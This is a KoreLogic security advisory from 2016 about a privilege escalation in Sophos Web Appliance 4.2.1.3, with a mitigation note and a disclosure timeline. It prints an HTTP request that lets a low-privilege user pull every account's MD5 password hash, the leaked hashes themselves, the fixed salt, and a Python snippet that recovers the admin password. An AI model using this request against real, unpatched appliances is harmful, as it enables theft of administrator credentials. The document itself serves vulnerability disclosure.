Date: Fri, 4 Nov 2016 10:12:06 -0500
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2016-008 : Sophos Web Appliance Privilege Escalation

KL-001-2016-008 : Sophos Web Appliance Privilege Escalation

Title: Sophos Web Appliance Privilege Escalation
Advisory ID: KL-001-2016-008
Publication Date: 2016.11.03
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-008.txt


1. Vulnerability Details

     Affected Vendor: Sophos
     Affected Product: Web Apppliance
     Affected Version: v4.2.1.3
     Platform: Embedded Linux
     CWE Classification: CWE-522: Insufficiently Protected Credentials,
                         CWE-261: Weak Cryptography for Passwords
     Impact: Privilege Escalation
     Attack vector: HTTP

2. Vulnerability Description

     An unprivileged user can obtain an MD5 hash of the administrator
     password which can then be used to discover the plain-text password.

3. Technical Description

     A user with the privileges: Helpdesk, Policy, Reporting,
     or User Activity can obtain an MD5 hash for the Full Access
     Administrator account. A valid session identifier is required
     and is delivered through the STYLE parameter.

     GET /index.php?c=change_password&STYLE=7151e50b0389755717510f218b1af00c
HTTP/1.1
     Host: [redacted]
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0)
Gecko/20100101 Firefox/46.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     Connection: close

     HTTP/1.1 200 OK
     Date: Tue, 10 May 2016 00:36:43 GMT
     Server: Apache
     X-UA-Compatible: IE=7
     Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0,
pre-check=0
     Pragma: no-cache
     X-Frame-Options: sameorigin
     X-Content-Type-Options: nosniff
     Connection: close
     Content-Type: text/html; charset=utf-8
     Content-Length: 8798

     ...
     {"currentUser":"test","globalUser":false,"swa_title":"Change
Password","usersJS":"[{\"id\":\"default_admin\",\"username\":\"admin\",\"name\":\"Default
Administrator\",\"password\":\"f98d0973dffdc3a29ee67167c15b882e\",\"description\":\"Default
Administrator Account\",\"admin\":true,\"roles\":\"Full Access
Administrator\",\"reporting_groups\":[]},{\"id\":\"5605c1fef6927d2c45a62b0abcba5385\",\"username\":\"test\",\"name\":\"test\",\"password\":\"caeaea5602b40c779b8669b7001f3396\",\"description\":\"asdfghj\",\"admin\":false,\"roles\":[\"helpdesk\",\"policy\",\"reporting\",\"user_activity\"],\"reporting_groups\":[\"all\"]},{\"id\":\"a39244da844197796609fc5b8aad7f3c\",\"username\":\"woot\",\"name\":\"woot\",\"password\":\"f0ce19faed6df0443c80aceea4c7b7ae\",\"description\":\"none\",\"admin\":false,\"roles\":[\"helpdesk\"],\"reporting_groups\":[]}]","cma":{"joined":false,"host":"","is_cma":false,"swa_joined":false,"is_vm":true},"locale":"en","trialMode":true,"licenseDaysLeft":29,"navigation":["<a
class=\"button \" id=\"lnk_cancel\" href=\"#\" onclick=\"this.blur(); return
false;\">\n    <span class=\"buttonLabel\">Cancel<\/span>\n<\/a>","<a
class=\"button \" id=\"lnk_save\" href=\"#\" onclick=\"this.blur(); return
false;\">\n    <span
class=\"buttonLabel\">Save<\/span>\n<\/a>"],"navigation_left":[],"status_processing":"Submitting...","status_password_dont_match":"Password
mismatch","status_invalid_password":"Invalid
password","status_current_password_invalid":"Current password
invalid","uiStatusMessages":{"status_processing":"Submitting...","status_password_dont_match":"Password
mismatch","status_invalid_password":"Invalid
password","status_current_password_invalid":"Current password
invalid"},"rba":{"reports":true,"search":true,"configuration":true,"system_status":false,"help_support":true,"editable":true,"current_user":"test","globalUser":false,"admin_role":false}
     ...

     A fixed salt is apparently used for all such devices: P3T3R p@...r

     The admin MD5 hash in this case is: f98d0973dffdc3a29ee67167c15b882e

4. Mitigation and Remediation Recommendation

     The vendor has issued a fix for this vulnerability in Version
     4.3 of SWA. Release notes available at:

     http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2016.09.09 - KoreLogic sends vulnerability report and PoC to Sophos.
     2016.09.14 - Sophos requests KoreLogic re-send vulnerability details.
     2016.09.28 - KoreLogic requests status update.
     2016.09.28 - Sophos informs KoreLogic that an update including a fix
                  for this vulnerability will be available near the end
                  of October.
     2016.10.13 - Sophos informs KoreLogic that the update was released to a
                  limited customer base and is expected to be distributed
                  at-large over the following week.
     2016.11.03 - Public disclosure.

7. Proof of Concept

     >>> from hashlib import md5
     >>> md5('P3T3R p@...radmin123').hexdigest()
     'f98d0973dffdc3a29ee67167c15b882e'



The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt



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